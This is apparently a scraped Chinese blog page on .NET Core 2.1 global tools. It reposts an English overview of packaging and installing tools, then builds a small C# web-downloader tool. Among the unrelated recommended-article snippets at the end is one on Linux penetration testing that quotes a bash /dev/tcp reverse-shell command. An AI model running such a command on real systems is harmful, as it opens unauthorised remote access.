NET Core 2.1 Global Tools
微软工程师Nate McMaster的博文.NET Core 2.1 Global Tools
https://natemcmaster.com/blog/2018/05/12/dotnet-global-tools/
Getting started with creating a .NET Core global tool package. Also, a peek under the hood.
.NET Core 2.1 RC1 was released this week. This is the first supported version of the .NET Core CLI which includes a feature called “.NET Core Global Tools”. This feature provides a simple way to create and share cross-platform console tools. In this post, I’ll go over some of the basics, and then walk though what is going on under the hood. You will need to download .NET Core 2.1 to use this to try this on your own.
Tip: For a real-world example of a global tool, see https://github.com/natemcmaster/dotnet-serve/.
Basic design
A .NET Core global tool is a special NuGet package that contains a console application. When installing a tool, .NET Core CLI will download and make your console tool available as a new command.
Users install tools by executing “dotnet tool install”:
dotnet tool install -g awesome-tool
Once installed, the command “awesome-tool” can now be used.
awesome-tool
Creating your own package
To simplify getting started, I’ve created a project templates.
Install the templates package
dotnet new --install McMaster.DotNet.GlobalTool.Templates
Create a new project
dotnet new global-tool --command-name awesome-tool
Once you have this project, you can create your tool package like this:
dotnet pack --output ./
This creates a file named awesome-tool.1.0.0.nupkg You can install your package like this:
dotnet tool install -g awesome-tool --add-source ./
When you are ready to share with world, upload the package to https://nuget.org.
Note: in 2.1 RC1, use --source-feed instead of --add-source. This was renamed in https://github.com/dotnet/cli/pull/9164
Additional commands
dotnet tool has other commands you can invoke. For example,
dotnet tool list -g
dotnet tool uninstall -g awesome-tool
dotnet tool update -g awesome-tool
Under the hood
The NuGet package that contains the tool is produced by running dotnet publish and putting everything in publish output into the NuGet package, with a few manifest files.
When dotnet tool install --global executes, it…
uses dotnet restore with special parameters to fetch the package.
extracts the package into $HOME/.dotnet/.store/(package id)/(version)
Generates an executable in $HOME/.dotnet/tools
The executable generated is a small console app (written in C++) which automatically knows how to find your .NET Core .dll file and launch it.
When dotnet tool install --tool-path $installDir executes, it does the same thing, but installs into $installDir, not $HOME/.dotnet/tools
Package authoring and SDK
Authoring a global tool requires the .NET Core SDK. This SDK provides a few simple settings to control the naming and contents of a .NET Core global tool package.
The required minimum project for a global tool looks like this.
true
    Exe
    netcoreapp2.1
Additional properties can be set to control the generated tool.
ToolCommandName - the command name users will invoke. It defaults to the name of the .dll file produced (i.e. assembly name)
This does not need to start with dotnet-. It can be anything without spaces.
If it begins with dotnet-, it can be used as a subcommand on dotnet, provided that command doesn’t already exist. Example: dotnet-serve can be invoked as either dotnet serve or dotnet-serve.
PackageId - the ID of the NuGet package (defaults to the .csproj file name)
The package ID can be different than the command name and assembly name
PackageVersion - the version of the NuGet package (defaults to 1.0.0)
AssemblyName - can be used to change the file name of the .dll file
Example of using these properties:
true
    Exe
    netcoreapp2.1
    pineapple
    dole-cli
    1.0.0-alpha-$(BuildNumber)
    Dole.Cli
Deep-dive: package requirements
There are some very specific requirements for global tools. The SDK takes care of most of these for you when you specify PackAsTool=true.
Publish output into pack
As mentioned above, the tools package must contain all your apps dependencies. This can be collected into one place by using dotnet publish. By default, dotnet pack only contains the output of dotnet build. This output does not normally contain third-party assemblies, static files, and the DotnetToolSettings.xml file, which is why you need to specify PackAsTool. This instructs the SDK to gather all publish output, not just assembly you compile.
DotnetToolSettings.xml
This file must exist in the package. If not install will fail with
The settings file in the tool’s NuGet package is invalid: Settings file ‘DotnetToolSettings.xml’ was not found in the package.
The schema for this file looks like this:
Currently, there are many restrictions on how this file can be used.
The file must exist in the NuGet package under tools/$targetframework/any/. Example: tools/netcoreapp2.1/any/DotnetToolSettings.xml.
You may only specify one DotnetToolSettings.xml file per package.
You may only specify one  per DotnetToolSettings.xml file.
The only allowed value for Runner is "dotnet".
The value for EntryPoint must be a .dll file that sits next to DotnetToolSettings.xml in the package.
Error NU1212 and package type
Installation may fail with this error
error NU1212: Invalid project-package combination for awesome-tool 1.0.0. DotnetToolReference project style can only contain references of the DotnetTool type
This error message is not very clear (see https://github.com/NuGet/Home/issues/6630 for improvement). What this means is that dotnet-tool-install is currently restricted to only installing a .NET Core package that has specific metadata. That metadata can be defined in your nuspec file and must be set as follows:
Dependencies
You must redistribute any of your dependencies in your tools package. Dependencies defined in the  metadata of your NuGet package are not honored by dotnet-tool-install.
Common errors
Here are some common errors encountered when using global tools.
PATH and command not after installing
dotnet tool install -g awesome-tool
awesome-tool
awesome-tool: command not found
awesome-tool : The term 'awesome-tool' is not recognized as the name of a cmdlet, function, script file, or operable program.
Global tools are actually “user global”, and are installed to %USERPROFILE%.dotnet\tools (Windows) or $HOME/.dotnet/tools (macOS/Linux). The .NET Core CLI tool makes a best effort to help you ensure this is in your PATH environment variable. However, this can easily be broken. For instance:
if you have set the DOTNET_SKIP_FIRST_TIME_EXPERIENCE environment variable to speed up intial runs of .NET Core, then your PATH may not be updated on first use
macOS: if you install the CLI via .tar.gz and not .pkg, you’ll be missing the /etc/paths.d/dotnet-cli-tool file that configures PATH.
Linux: you will need to edit your shell environment file. e.g. ~/.bash_profile or ~/.zshrc
Workarounds
(May require restarting your shell.)
Windows:
setx PATH "$env:PATH;$env:USERPROFILE/.dotnet/tools"
Linux/macOS:
echo "export PATH="$PATH:$HOME/.dotnet/tools"" >> ~/.bash_profile
Tools are user-specific, not machine global
The .NET Core CLI installs global tools to $HOME/.dotnet/tools (Linux/macOS) or %USERPROFILE%.dotnet\tools (Windows). This means you cannot install a global tool for the entire machine using dotnet tool install --global. Installed tools are only available to the user who installed them.
Installing the .NET Core CLI into a non-default location
If you download the .NET Core CLI as a .zip/.tar.gz and extract it to a non default location, then you may encounter an error after installing and launching a tool:
Windows: A fatal error occurred, the required library hostfxr.dll could not be found
Linux: A fatal error occurred, the required library libhostfxr.so could not be found
macOS: A fatal error occurred, the required library libhostfxr.dylib could not be found
The error will also contain additional details such as:
If this is a self-contained application, that library should exist in [some path here].
If this is a framework-dependent application, install the runtime in the default location [default location] or use the DOTNET_ROOT environment variable to specify the runtime location.
The reason this happens is that the generated shim created by dotnet tool install only searchs for .NET Core in the default install locations. You can override the default location by setting the DOTNET_ROOT environment variable.
set DOTNET_ROOT=C:\Users\nate\dotnet
export DOTNET_ROOT=/Users/nate/Downloads/dotnet
See https://github.com/dotnet/cli/issues/9114 for more details.
Wrapping up
This is an awesome feature. Super happy the .NET Core CLI team created it. Can’t wait to see what people make.
用过npm开发都知道,npm包都可以以全局的方式安装,例如安装一个http-server服务,可以使用npm i http-server -g来将http-server包安装到全局环境。安装完之后,就可以通过cmd或者powershell运行全局工具http-server命令,来使用静态托管服务。dotnet tool 就是一个类似npm全局工具的新特性,在.net core2.1正式加入。它的详细使用方法可在微软官方文档查看,本文主要介绍如何编写一个global tool并发布至nuget。
安装.net core 2.1
安装最新版.net core SDK 可前往DotNet官方站点的下载页面,下载完成后双击安装即可。安装完成后打开cmd运行dotnet --version 返回版本大于或等于2.1.300表示安装成功。
安装global tool 项目模板
打开cmd 键入dotnet new --install McMaster.DotNet.GlobalTool.Templates安装完成后运行dotnet new
模板 短名称 语言 标记
Console Application                               console            [C#], F#, VB      Common/Console
Class library                                     classlib           [C#], F#, VB      Common/Library
.NET Core Global Console Tool                     global-tool        [C#]              Console/Empty
Unit Test Project                                 mstest             [C#], F#, VB      Test/MSTest
xUnit Test Project                                xunit              [C#], F#, VB      Test/xUnit
Razor Page                                        page               [C#]              Web/ASP.NET
MVC ViewImports                                   viewimports        [C#]              Web/ASP.NET
MVC ViewStart                                     viewstart          [C#]              Web/ASP.NET
ASP.NET Core Empty                                web                [C#], F#          Web/Empty
ASP.NET Core Web App (Model-View-Controller)      mvc                [C#], F#          Web/MVC
ASP.NET Core Web App                              razor              [C#]              Web/MVC/Razor Pages
ASP.NET Core with Angular                         angular            [C#]              Web/MVC/SPA
ASP.NET Core with React.js                        react              [C#]              Web/MVC/SPA
ASP.NET Core with React.js and Redux              reactredux         [C#]              Web/MVC/SPA
Razor Class Library                               razorclasslib      [C#]              Web/Razor/Library/Razor Class Library
ASP.NET Core Web API                              webapi             [C#], F#          Web/WebAPI
global.json file                                  globaljson                           Config
NuGet Config                                      nugetconfig                          Config
Web Config                                        webconfig                            Config
Solution File                                     sln                                  Solution
多出一个global-tool模板
.NET Core Global Console Tool                     global-tool        [C#]              Console/Empty
编写一个网页下载工具
接下来通过编写一个网页下载的小工具来演示global tool的创建过程,此小工具的功能是根据网址,下载相应的页面html并保存为文件。
首先新建一个WebDownloader文件夹。在文件夹中运行dotnet new global-tool生成项目如下
obj
Program.cs
WebDownloader.csproj
打开WebDownloader.csproj修改为
web-downloader
    True
    Exe
    netcoreapp2.1
打开Program.cs修改为
using System;
using System.ComponentModel.DataAnnotations;
using System.IO;
using System.Net.Http;
using McMaster.Extensions.CommandLineUtils;
namespace WebDownloader
{
[Command(Description = "网页下载小工具")]
class Program
{
public static int Main(string[] args) => CommandLineApplication.Execute(args);
    [Argument(0, Description = "网址")]
    [Required]
    public string Url { get; }
    [Option(Description = "保存路径")]
    public string Path { get; } = "./";
    [Option(Description = "文件名")]
    public string Name { get; } = "content.txt";
    private int OnExecute()
    {
        var client = new HttpClient();
        var content = client.GetStringAsync(Url).Result;
        var path = System.IO.Path.Combine(Path, Name);
        File.WriteAllText(path, content);
        return 0;
    }
}
}
修改完成后全部保存文件,运行dotnet pack -o ./会在项目根目录生成一个WebDownloader.1.0.0.nupkg包。此包就是最终的nuget包,可上传至nuget.org共享。
为了测试,我们直接将此包安装至本地计算机。运行dotnet tool install WebDownloader -g --add-source ./完成安装。运行web-downloader -h可以看到项目帮助文档
网页下载小工具
Usage: WebDownloader [arguments] [options]
Arguments:
Url               网址
Options:
-p|--path   保存路径
-n|--name   文件名
-?|-h|--help      Show help information
运行web-downloader http://www.sina.com后我们发现项目根目录生成了一个content.txt文件内容为新浪的首页html
新浪首页
...
...
如果不再使用此工具通过dotnet tool uninstall WebDownloader -g卸载即可。
NET Core 2.1 Global Tools的更多相关文章
- .NET Core开发日志——Global Tools
		.NET Core 2.1引入了一个新的功能,Global Tools,其本质是包含控制台应用程序的nuget包,目前而言,还没有特别有用的工具,不过相信随着时间的推移,各种有创意或者实用性强的Glo ... 
- 如何编写.NET Core Global Tools (附两个案例)
		一.什么是 .NET Core Global Tools 2018年5月31日(北京时间)微软发布了 .NET Core 2.1 正式版,.NET Core 2.1 为我们带来了一个新的特性:.NET ... 
- [尝鲜]妈妈再也不用担心 dotnet core 程序发布了: .NET Core Global Tools
		什么是 .NET Core Global Tools? Global Tools是.NET Core 2.1 中一个初次出现的特性.Global Tools提供了一种方法,让开发人员编写的.NET C ... 
- 如何创建一个自己的.NET Core Global Tools
		索引 NET Core应用框架之BitAdminCore框架应用篇系列 框架演示:https://www.bitadmincore.com 框架源码:https://github.com/chenyi ... 
- 使用.NET Core与Google Optimization Tools实现加工车间任务规划
		前一篇文章<使用.NET Core与Google Optimization Tools实现员工排班计划Scheduling>算是一种针对内容的规划,而针对时间顺序任务规划,加工车间的工活儿 ... 
- 使用.NET Core与Google Optimization Tools实现员工排班计划Scheduling
		上一篇说完<Google Optimization Tools介绍>,让大家初步了解了Google Optimization Tools是一款约束求解(CP)的高效套件.那么我们用.NET ... 
- 在Ubuntu环境下配置NIMH MEG Core Facility之CTF Tools
		在Ubuntu环境下配置NIMH MEG Core Facility之CTF Tools 网站有提示: The install script won't work, but you can copy ... 
- .net core下的dotnet全局工具
		.net core 2.1后支持了一个全新的部署和扩展命令,可以自己注册全局命令行. dotnet install tool -g dotnetsaydotnetsay 也可以自己构建自己的命令行,一 ... 
- 尝鲜.net core2.1 ——编写一个global tool
		本文内容参考微软工程师Nate McMaster的博文.NET Core 2.1 Global Tools 用过npm开发都知道,npm包都可以以全局的方式安装,例如安装一个http-server服务 ... 
随机推荐
- window/body/img/iframe 的onload事件
			在html页面中,只有body,img,iframe这一类标签具有onload事件. onload事件表示在当前元素载入完成后发生的事件.其中,window也有onload事件,但是跟body的是同一 ... 
- 机器视觉 Local Binary Pattern (LBP)
			Local binary pattern (LBP),在机器视觉领域,是非常重要的一种特征.LBP可以有效地处理光照变化,在纹理分析,纹理识别方面被广泛应用. LBP 的算法非常简单,简单来说,就是对 ... 
- mongdb启动问题
			问题:Detected unclean shutdown - /data/db/mongod.lock is not empty. old lock file:/data/db/mongod.lock ... 
- 【Lintcode】076.Longest Increasing Subsequence
			题目: Given a sequence of integers, find the longest increasing subsequence (LIS). You code should ret ... 
- 《c# 实现p2p文件分享与传输系统》 二、 设计
			c#实现P2P文件分享与传输系统 二.设计 在上一篇文章中,介绍了P2P网络的常用模型,并确定了EasyP2P系统的框架,本文将就此设计完成它的主要结构和运作流程. 1. 首先是Tracker Ser ... 
- POJ3352(连通分量缩点)
			Road Construction Time Limit: 2000MS Memory Limit: 65536K Total Submissions: 10352 Accepted: 514 ... 
- JS加DOM理解
			1. ***变量 2. ***数据类型 一. ***变量:内存中存储*一个*数据的存储空间,再起一个名字 何时使用:程序中反复使用的数据,都要先保存在变量中,再参与运算 如何使用:声明 赋值 ... 
- In-App Purchase Configuration Guide for iTunes Connect---(一)----Introduction
			Introduction In-App Purchase is an Apple technology that allows your users to purchase content and s ... 
- 《Java多线程编程核心技术》读后感(四)
			将任意对象作为对象监视器 synchronized同步代码块还支持任意对象,使用格式为synchronized(非this对象) package Second; public class Servic ... 
- 13. linux渗透之反弹shell
			实验环境 CentOS 6.5:192.168.0.3 kali2.0:192.168.0.4 方法1: 反弹shell命令如下: bash -i >& /dev/tcp/ip/port ... 
